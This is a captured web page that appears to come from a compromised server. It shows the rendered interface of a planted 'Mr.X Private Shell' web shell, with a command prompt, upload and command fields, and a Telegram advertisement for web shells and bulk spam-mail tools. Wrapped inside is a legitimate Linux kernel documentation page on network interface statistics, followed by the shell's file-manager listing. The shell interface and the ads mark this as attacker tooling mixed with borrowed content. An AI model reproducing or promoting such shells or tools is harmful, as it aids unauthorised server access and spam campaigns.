__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.18: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Interface statistics &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="Stream Parser (strparser)" href="strparser.html" />
    <link rel="prev" title="NIC SR-IOV APIs" href="sriov.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Networking</a></li>
<li class="toctree-l3"><a class="reference internal" href="../netlabel/index.html">NetLabel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../infiniband/index.html">InfiniBand</a></li>
<li class="toctree-l3"><a class="reference internal" href="../isdn/index.html">ISDN</a></li>
<li class="toctree-l3"><a class="reference internal" href="../mhi/index.html">MHI</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/networking/statistics.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="interface-statistics">
<h1>Interface statistics<a class="headerlink" href="#interface-statistics" title="Link to this heading">¶</a></h1>
<section id="overview">
<h2>Overview<a class="headerlink" href="#overview" title="Link to this heading">¶</a></h2>
<p>This document is a guide to Linux network interface statistics.</p>
<p>There are three main sources of interface statistics in Linux:</p>
<blockquote>
<div><ul class="simple">
<li><p>standard interface statistics based on
<a class="reference internal" href="#c.rtnl_link_stats64" title="rtnl_link_stats64"><code class="xref c c-type docutils literal notranslate"><span class="pre">struct</span> <span class="pre">rtnl_link_stats64</span></code></a>;</p></li>
<li><p>protocol-specific statistics; and</p></li>
<li><p>driver-defined statistics available via ethtool.</p></li>
</ul>
</div></blockquote>
<section id="standard-interface-statistics">
<h3>Standard interface statistics<a class="headerlink" href="#standard-interface-statistics" title="Link to this heading">¶</a></h3>
<p>There are multiple interfaces to reach the standard statistics.
Most commonly used is the <cite>ip</cite> command from <cite>iproute2</cite>:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>$ ip -s -s link show dev ens4u1u1
6: ens4u1u1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000
  link/ether 48:2a:e3:4c:b1:d1 brd ff:ff:ff:ff:ff:ff
  RX: bytes  packets  errors  dropped overrun mcast
  74327665117 69016965 0       0       0       0
  RX errors: length   crc     frame   fifo    missed
             0        0       0       0       0
  TX: bytes  packets  errors  dropped carrier collsns
  21405556176 44608960 0       0       0       0
  TX errors: aborted  fifo   window heartbeat transns
             0        0       0       0       128
  altname enp58s0u1u1
</pre></div>
</div>
<p>Note that <cite>-s</cite> has been specified twice to see all members of
<a class="reference internal" href="#c.rtnl_link_stats64" title="rtnl_link_stats64"><code class="xref c c-type docutils literal notranslate"><span class="pre">struct</span> <span class="pre">rtnl_link_stats64</span></code></a>.
If <cite>-s</cite> is specified once the detailed errors won’t be shown.</p>
<p><cite>ip</cite> supports JSON formatting via the <cite>-j</cite> option.</p>
<section id="queue-statistics">
<h4>Queue statistics<a class="headerlink" href="#queue-statistics" title="Link to this heading">¶</a></h4>
<p>Queue statistics are accessible via the netdev netlink family.</p>
<p>Currently no widely distributed CLI exists to access those statistics.
Kernel development tools (ynl) can be used to experiment with them,
see <cite><a class="reference internal" href="../userspace-api/netlink/intro-specs.html"><span class="doc">Using Netlink protocol specifications</span></a></cite>.</p>
</section>
</section>
<section id="protocol-specific-statistics">
<h3>Protocol-specific statistics<a class="headerlink" href="#protocol-specific-statistics" title="Link to this heading">¶</a></h3>
<p>Protocol-specific statistics are exposed via relevant interfaces,
the same interfaces as are used to configure them.</p>
<section id="ethtool">
<h4>ethtool<a class="headerlink" href="#ethtool" title="Link to this heading">¶</a></h4>
<p>Ethtool exposes common low-level statistics.
All the standard statistics are expected to be maintained
by the device, not the driver (as opposed to driver-defined stats
described in the next section which mix software and hardware stats).
For devices which contain unmanaged
switches (e.g. legacy SR-IOV or multi-host NICs) the events counted
may not pertain exclusively to the packets destined to
the local host interface. In other words the events may
be counted at the network port (MAC/PHY blocks) without separation
for different host side (PCIe) devices. Such ambiguity must not
be present when internal switch is managed by Linux (so called
switchdev mode for NICs).</p>
<p>Standard ethtool statistics can be accessed via the interfaces used
for configuration. For example ethtool interface used
to configure pause frames can report corresponding hardware counters:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>$ ethtool --include-statistics -a eth0
Pause parameters for eth0:
Autonegotiate:        on
RX:                   on
TX:                   on
Statistics:
  tx_pause_frames: 1
  rx_pause_frames: 1
</pre></div>
</div>
<p>General Ethernet statistics not associated with any particular
functionality are exposed via <code class="docutils literal notranslate"><span class="pre">ethtool</span> <span class="pre">-S</span> <span class="pre">$ifc</span></code> by specifying
the <code class="docutils literal notranslate"><span class="pre">--groups</span></code> parameter:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>$ ethtool -S eth0 --groups eth-phy eth-mac eth-ctrl rmon
Stats for eth0:
eth-phy-SymbolErrorDuringCarrier: 0
eth-mac-FramesTransmittedOK: 1
eth-mac-FrameTooLongErrors: 1
eth-ctrl-MACControlFramesTransmitted: 1
eth-ctrl-MACControlFramesReceived: 0
eth-ctrl-UnsupportedOpcodesReceived: 1
rmon-etherStatsUndersizePkts: 1
rmon-etherStatsJabbers: 0
rmon-rx-etherStatsPkts64Octets: 1
rmon-rx-etherStatsPkts65to127Octets: 0
rmon-rx-etherStatsPkts128to255Octets: 0
rmon-tx-etherStatsPkts64Octets: 2
rmon-tx-etherStatsPkts65to127Octets: 3
rmon-tx-etherStatsPkts128to255Octets: 0
</pre></div>
</div>
</section>
</section>
<section id="driver-defined-statistics">
<h3>Driver-defined statistics<a class="headerlink" href="#driver-defined-statistics" title="Link to this heading">¶</a></h3>
<p>Driver-defined ethtool statistics can be dumped using <cite>ethtool -S $ifc</cite>, e.g.:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>$ ethtool -S ens4u1u1
NIC statistics:
   tx_single_collisions: 0
   tx_multi_collisions: 0
</pre></div>
</div>
</section>
</section>
<section id="uapis">
<h2>uAPIs<a class="headerlink" href="#uapis" title="Link to this heading">¶</a></h2>
<section id="procfs">
<h3>procfs<a class="headerlink" href="#procfs" title="Link to this heading">¶</a></h3>
<p>The historical <cite>/proc/net/dev</cite> text interface gives access to the list
of interfaces as well as their statistics.</p>
<p>Note that even though this interface is using
<a class="reference internal" href="#c.rtnl_link_stats64" title="rtnl_link_stats64"><code class="xref c c-type docutils literal notranslate"><span class="pre">struct</span> <span class="pre">rtnl_link_stats64</span></code></a>
internally it combines some of the fields.</p>
</section>
<section id="sysfs">
<h3>sysfs<a class="headerlink" href="#sysfs" title="Link to this heading">¶</a></h3>
<p>Each device directory in sysfs contains a <cite>statistics</cite> directory (e.g.
<cite>/sys/class/net/lo/statistics/</cite>) with files corresponding to
members of <a class="reference internal" href="#c.rtnl_link_stats64" title="rtnl_link_stats64"><code class="xref c c-type docutils literal notranslate"><span class="pre">struct</span> <span class="pre">rtnl_link_stats64</span></code></a>.</p>
<p>This simple interface is convenient especially in constrained/embedded
environments without access to tools. However, it’s inefficient when
reading multiple stats as it internally performs a full dump of
<a class="reference internal" href="#c.rtnl_link_stats64" title="rtnl_link_stats64"><code class="xref c c-type docutils literal notranslate"><span class="pre">struct</span> <span class="pre">rtnl_link_stats64</span></code></a>
and reports only the stat corresponding to the accessed file.</p>
<p>Sysfs files are documented in
<a class="reference internal" href="../admin-guide/abi-testing-files.html#abi-file-testing-sysfs-class-net-statistics"><span class="std std-ref">ABI file testing/sysfs-class-net-statistics</span></a>.</p>
</section>
<section id="netlink">
<h3>netlink<a class="headerlink" href="#netlink" title="Link to this heading">¶</a></h3>
<p><cite>rtnetlink</cite> (<cite>NETLINK_ROUTE</cite>) is the preferred method of accessing
<a class="reference internal" href="#c.rtnl_link_stats64" title="rtnl_link_stats64"><code class="xref c c-type docutils literal notranslate"><span class="pre">struct</span> <span class="pre">rtnl_link_stats64</span></code></a> stats.</p>
<p>Statistics are reported both in the responses to link information
requests (<cite>RTM_GETLINK</cite>) and statistic requests (<cite>RTM_GETSTATS</cite>,
when <cite>IFLA_STATS_LINK_64</cite> bit is set in the <cite>.filter_mask</cite> of the request).</p>
<section id="netdev-netlink">
<h4>netdev (netlink)<a class="headerlink" href="#netdev-netlink" title="Link to this heading">¶</a></h4>
<p><cite>netdev</cite> generic netlink family allows accessing page pool and per queue
statistics.</p>
</section>
</section>
<section id="id1">
<h3>ethtool<a class="headerlink" href="#id1" title="Link to this heading">¶</a></h3>
<p>Ethtool IOCTL interface allows drivers to report implementation
specific statistics. Historically it has also been used to report
statistics for which other APIs did not exist, like per-device-queue
statistics, or standard-based statistics (e.g. RFC 2863).</p>
<p>Statistics and their string identifiers are retrieved separately.
Identifiers via <cite>ETHTOOL_GSTRINGS</cite> with <cite>string_set</cite> set to <cite>ETH_SS_STATS</cite>,
and values via <cite>ETHTOOL_GSTATS</cite>. User space should use <cite>ETHTOOL_GDRVINFO</cite>
to retrieve the number of statistics (<cite>.n_stats</cite>).</p>
</section>
<section id="ethtool-netlink">
<h3>ethtool-netlink<a class="headerlink" href="#ethtool-netlink" title="Link to this heading">¶</a></h3>
<p>Ethtool netlink is a replacement for the older IOCTL interface.</p>
<p>Protocol-related statistics can be requested in get commands by setting
the <cite>ETHTOOL_FLAG_STATS</cite> flag in <cite>ETHTOOL_A_HEADER_FLAGS</cite>. Currently
statistics are supported in the following commands:</p>
<blockquote>
<div><ul class="simple">
<li><p><cite>ETHTOOL_MSG_PAUSE_GET</cite></p></li>
<li><p><cite>ETHTOOL_MSG_FEC_GET</cite></p></li>
<li><p><cite>ETHTOOL_MSG_MM_GET</cite></p></li>
</ul>
</div></blockquote>
</section>
<section id="debugfs">
<h3>debugfs<a class="headerlink" href="#debugfs" title="Link to this heading">¶</a></h3>
<p>Some drivers expose extra statistics via <cite>debugfs</cite>.</p>
</section>
</section>
<section id="struct-rtnl-link-stats64">
<h2>struct rtnl_link_stats64<a class="headerlink" href="#struct-rtnl-link-stats64" title="Link to this heading">¶</a></h2>
<dl class="c struct">
<dt class="sig sig-object c" id="c.rtnl_link_stats64">
<span class="k"><span class="pre">struct</span></span><span class="w"> </span><span class="sig-name descname"><span class="n"><span class="pre">rtnl_link_stats64</span></span></span><a class="headerlink" href="#c.rtnl_link_stats64" title="Link to this definition">¶</a><br /></dt>
<dd><p>The main device statistics structure.</p>
</dd></dl>

<div class="kernelindent docutils container">
<p><strong>Definition</strong>:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>struct rtnl_link_stats64 {
    __u64 rx_packets;
    __u64 tx_packets;
    __u64 rx_bytes;
    __u64 tx_bytes;
    __u64 rx_errors;
    __u64 tx_errors;
    __u64 rx_dropped;
    __u64 tx_dropped;
    __u64 multicast;
    __u64 collisions;
    __u64 rx_length_errors;
    __u64 rx_over_errors;
    __u64 rx_crc_errors;
    __u64 rx_frame_errors;
    __u64 rx_fifo_errors;
    __u64 rx_missed_errors;
    __u64 tx_aborted_errors;
    __u64 tx_carrier_errors;
    __u64 tx_fifo_errors;
    __u64 tx_heartbeat_errors;
    __u64 tx_window_errors;
    __u64 rx_compressed;
    __u64 tx_compressed;
    __u64 rx_nohandler;
    __u64 rx_otherhost_dropped;
};
</pre></div>
</div>
<p><strong>Members</strong></p>
<dl class="simple">
<dt><code class="docutils literal notranslate"><span class="pre">rx_packets</span></code></dt><dd><p>Number of good packets received by the interface.
For hardware interfaces counts all good packets received from the device
by the host, including packets which host had to drop at various stages
of processing (even in the driver).</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">tx_packets</span></code></dt><dd><p>Number of packets successfully transmitted.
For hardware interfaces counts packets which host was able to successfully
hand over to the device, which does not necessarily mean that packets
had been successfully transmitted out of the device, only that device
acknowledged it copied them out of host memory.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">rx_bytes</span></code></dt><dd><p>Number of good received bytes, corresponding to <strong>rx_packets</strong>.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">tx_bytes</span></code></dt><dd><p>Number of good transmitted bytes, corresponding to <strong>tx_packets</strong>.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">rx_errors</span></code></dt><dd><p>Total number of bad packets received on this network device.
This counter must include events counted by <strong>rx_length_errors</strong>,
<strong>rx_crc_errors</strong>, <strong>rx_frame_errors</strong> and other errors not otherwise
counted.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">tx_errors</span></code></dt><dd><p>Total number of transmit problems.
This counter must include events counter by <strong>tx_aborted_errors</strong>,
<strong>tx_carrier_errors</strong>, <strong>tx_fifo_errors</strong>, <strong>tx_heartbeat_errors</strong>,
<strong>tx_window_errors</strong> and other errors not otherwise counted.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">rx_dropped</span></code></dt><dd><p>Number of packets received but not processed,
e.g. due to lack of resources or unsupported protocol.
For hardware interfaces this counter may include packets discarded
due to L2 address filtering but should not include packets dropped
by the device due to buffer exhaustion which are counted separately in
<strong>rx_missed_errors</strong> (since procfs folds those two counters together).</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">tx_dropped</span></code></dt><dd><p>Number of packets dropped on their way to transmission,
e.g. due to lack of resources.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">multicast</span></code></dt><dd><p>Multicast packets received.
For hardware interfaces this statistic is commonly calculated
at the device level (unlike <strong>rx_packets</strong>) and therefore may include
packets which did not reach the host.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">collisions</span></code></dt><dd><p>Number of collisions during packet transmissions.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">rx_length_errors</span></code></dt><dd><p>Number of packets dropped due to invalid length.
Part of aggregate “frame” errors in <cite>/proc/net/dev</cite>.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">rx_over_errors</span></code></dt><dd><p>Receiver FIFO overflow event counter.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">rx_crc_errors</span></code></dt><dd><p>Number of packets received with a CRC error.
Part of aggregate “frame” errors in <cite>/proc/net/dev</cite>.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">rx_frame_errors</span></code></dt><dd><p>Receiver frame alignment errors.
Part of aggregate “frame” errors in <cite>/proc/net/dev</cite>.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">rx_fifo_errors</span></code></dt><dd><p>Receiver FIFO error counter.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">rx_missed_errors</span></code></dt><dd><p>Count of packets missed by the host.
Folded into the “drop” counter in <cite>/proc/net/dev</cite>.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">tx_aborted_errors</span></code></dt><dd><p>Part of aggregate “carrier” errors in <cite>/proc/net/dev</cite>.
For IEEE 802.3 devices capable of half-duplex operation this counter
must be equivalent to:</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">tx_carrier_errors</span></code></dt><dd><p>Number of frame transmission errors due to loss
of carrier during transmission.
Part of aggregate “carrier” errors in <cite>/proc/net/dev</cite>.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">tx_fifo_errors</span></code></dt><dd><p>Number of frame transmission errors due to device
FIFO underrun / underflow. This condition occurs when the device
begins transmission of a frame but is unable to deliver the
entire frame to the transmitter in time for transmission.
Part of aggregate “carrier” errors in <cite>/proc/net/dev</cite>.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">tx_heartbeat_errors</span></code></dt><dd><p>Number of Heartbeat / SQE Test errors for
old half-duplex Ethernet.
Part of aggregate “carrier” errors in <cite>/proc/net/dev</cite>.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">tx_window_errors</span></code></dt><dd><p>Number of frame transmission errors due
to late collisions (for Ethernet - after the first 64B of transmission).
Part of aggregate “carrier” errors in <cite>/proc/net/dev</cite>.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">rx_compressed</span></code></dt><dd><p>Number of correctly received compressed packets.
This counters is only meaningful for interfaces which support
packet compression (e.g. CSLIP, PPP).</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">tx_compressed</span></code></dt><dd><p>Number of transmitted compressed packets.
This counters is only meaningful for interfaces which support
packet compression (e.g. CSLIP, PPP).</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">rx_nohandler</span></code></dt><dd><p>Number of packets received on the interface
but dropped by the networking stack because the device is
not designated to receive packets (e.g. backup link in a bond).</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">rx_otherhost_dropped</span></code></dt><dd><p>Number of packets dropped due to mismatch
in destination MAC address.</p>
</dd>
</dl>
</div>
<p><strong>Description</strong></p>
<blockquote>
<div><p>For IEEE 802.3 devices should count the length of Ethernet Frames
excluding the FCS.</p>
<p>For IEEE 802.3 devices should count the length of Ethernet Frames
excluding the FCS.</p>
<p>For IEEE 802.3 devices this counter may be equivalent to:</p>
<blockquote>
<div><ul class="simple">
<li><p>30.3.1.1.21 aMulticastFramesReceivedOK</p></li>
</ul>
</div></blockquote>
<p>For IEEE 802.3 devices this counter should be equivalent to a sum
of the following attributes:</p>
<blockquote>
<div><ul class="simple">
<li><p>30.3.1.1.23 aInRangeLengthErrors</p></li>
<li><p>30.3.1.1.24 aOutOfRangeLengthField</p></li>
<li><p>30.3.1.1.25 aFrameTooLongErrors</p></li>
</ul>
</div></blockquote>
<p>Historically the count of overflow events. Such events may be
reported in the receive descriptors or via interrupts, and may
not correspond one-to-one with dropped packets.</p>
<p>The recommended interpretation for high speed interfaces is -
number of packets dropped because they did not fit into buffers
provided by the host, e.g. packets larger than MTU or next buffer
in the ring was not available for a scatter transfer.</p>
<p>Part of aggregate “frame” errors in <cite>/proc/net/dev</cite>.</p>
<p>This statistics was historically used interchangeably with
<strong>rx_fifo_errors</strong>.</p>
<p>This statistic corresponds to hardware events and is not commonly used
on software devices.</p>
<p>For IEEE 802.3 devices this counter must be equivalent to:</p>
<blockquote>
<div><ul class="simple">
<li><p>30.3.1.1.6 aFrameCheckSequenceErrors</p></li>
</ul>
</div></blockquote>
<p>For IEEE 802.3 devices this counter should be equivalent to:</p>
<blockquote>
<div><ul class="simple">
<li><p>30.3.1.1.7 aAlignmentErrors</p></li>
</ul>
</div></blockquote>
<p>Historically the count of overflow events. Those events may be
reported in the receive descriptors or via interrupts, and may
not correspond one-to-one with dropped packets.</p>
<p>This statistics was used interchangeably with <strong>rx_over_errors</strong>.
Not recommended for use in drivers for high speed interfaces.</p>
<p>This statistic is used on software devices, e.g. to count software
packet queue overflow (can) or sequencing errors (GRE).</p>
<p>Counts number of packets dropped by the device due to lack
of buffer space. This usually indicates that the host interface
is slower than the network interface, or host is not keeping up
with the receive packet rate.</p>
<p>This statistic corresponds to hardware events and is not used
on software devices.</p>
<blockquote>
<div><ul class="simple">
<li><p>30.3.1.1.11 aFramesAbortedDueToXSColls</p></li>
</ul>
</div></blockquote>
<p>High speed interfaces may use this counter as a general device
discard counter.</p>
<p>For IEEE 802.3 devices this counter must be equivalent to:</p>
<blockquote>
<div><ul class="simple">
<li><p>30.3.1.1.13 aCarrierSenseErrors</p></li>
</ul>
</div></blockquote>
<p>For IEEE 802.3 devices possibly equivalent to:</p>
<blockquote>
<div><ul class="simple">
<li><p>30.3.2.1.4 aSQETestErrors</p></li>
</ul>
</div></blockquote>
<p>For IEEE 802.3 devices this counter must be equivalent to:</p>
<blockquote>
<div><ul class="simple">
<li><p>30.3.1.1.10 aLateCollisions</p></li>
</ul>
</div></blockquote>
</div></blockquote>
</section>
<section id="notes-for-driver-authors">
<h2>Notes for driver authors<a class="headerlink" href="#notes-for-driver-authors" title="Link to this heading">¶</a></h2>
<p>Drivers should report all statistics which have a matching member in
<a class="reference internal" href="#c.rtnl_link_stats64" title="rtnl_link_stats64"><code class="xref c c-type docutils literal notranslate"><span class="pre">struct</span> <span class="pre">rtnl_link_stats64</span></code></a> exclusively
via <cite>.ndo_get_stats64</cite>. Reporting such standard stats via ethtool
or debugfs will not be accepted.</p>
<p>Drivers must ensure best possible compliance with
<a class="reference internal" href="#c.rtnl_link_stats64" title="rtnl_link_stats64"><code class="xref c c-type docutils literal notranslate"><span class="pre">struct</span> <span class="pre">rtnl_link_stats64</span></code></a>.
Please note for example that detailed error statistics must be
added into the general <cite>rx_error</cite> / <cite>tx_error</cite> counters.</p>
<p>The <cite>.ndo_get_stats64</cite> callback can not sleep because of accesses
via <cite>/proc/net/dev</cite>. If driver may sleep when retrieving the statistics
from the device it should do so periodically asynchronously and only return
a recent copy from <cite>.ndo_get_stats64</cite>. Ethtool interrupt coalescing interface
allows setting the frequency of refreshing statistics, if needed.</p>
<p>Retrieving ethtool statistics is a multi-syscall process, drivers are advised
to keep the number of statistics constant to avoid race conditions with
user space trying to read them.</p>
<p>Statistics must persist across routine operations like bringing the interface
down and up.</p>
<section id="kernel-internal-data-structures">
<h3>Kernel-internal data structures<a class="headerlink" href="#kernel-internal-data-structures" title="Link to this heading">¶</a></h3>
<p>The following structures are internal to the kernel, their members are
translated to netlink attributes when dumped. Drivers must not overwrite
the statistics they don’t report with 0.</p>
<ul class="simple">
<li><p><a class="reference internal" href="ethtool-netlink.html#c.ethtool_pause_stats" title="ethtool_pause_stats"><code class="xref c c-func docutils literal notranslate"><span class="pre">ethtool_pause_stats()</span></code></a></p></li>
<li><p><a class="reference internal" href="ethtool-netlink.html#c.ethtool_fec_stats" title="ethtool_fec_stats"><code class="xref c c-func docutils literal notranslate"><span class="pre">ethtool_fec_stats()</span></code></a></p></li>
</ul>
</section>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/networking/statistics.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
caif Folder 0755
device_drivers Folder 0755
devlink Folder 0755
diagnostic Folder 0755
dsa Folder 0755
mac80211_hwsim Folder 0755
net_cachelines Folder 0755
pse-pd Folder 0755
6lowpan.html File 9.97 KB 0644
6pack.html File 18.06 KB 0644
af_xdp.html File 71.08 KB 0644
alias.html File 9.71 KB 0644
arcnet-hardware.html File 153.3 KB 0644
arcnet.html File 37.48 KB 0644
atm.html File 8.24 KB 0644
ax25.html File 8.75 KB 0644
bareudp.html File 10.56 KB 0644
batman-adv.html File 16.81 KB 0644
bonding.html File 140.89 KB 0644
bridge.html File 53.36 KB 0644
can.html File 120.11 KB 0644
can_ucan_protocol.html File 25.27 KB 0644
cdc_mbim.html File 25.28 KB 0644
checksum-offloads.html File 16.15 KB 0644
dctcp.html File 10.32 KB 0644
devmem.html File 24.33 KB 0644
dns_resolver.html File 15.11 KB 0644
driver.html File 20.41 KB 0644
eql.html File 31.48 KB 0644
ethtool-netlink.html File 274 KB 0644
failover.html File 8.43 KB 0644
fib_trie.html File 16.04 KB 0644
filter.html File 42.43 KB 0644
gen_stats.html File 14.2 KB 0644
generic-hdlc.html File 14.67 KB 0644
generic_netlink.html File 8.11 KB 0644
gtp.html File 20.55 KB 0644
ieee802154.html File 25.03 KB 0644
ila.html File 21.79 KB 0644
index.html File 108.18 KB 0644
ioam6-sysctl.html File 8.48 KB 0644
iou-zcrx.html File 16.63 KB 0644
ip-sysctl.html File 154.81 KB 0644
ip_dynaddr.html File 9.97 KB 0644
ipsec.html File 9.71 KB 0644
ipv6.html File 9.87 KB 0644
ipvlan.html File 16.87 KB 0644
ipvs-sysctl.html File 20.73 KB 0644
iso15765-2.html File 39.91 KB 0644
j1939.html File 99.33 KB 0644
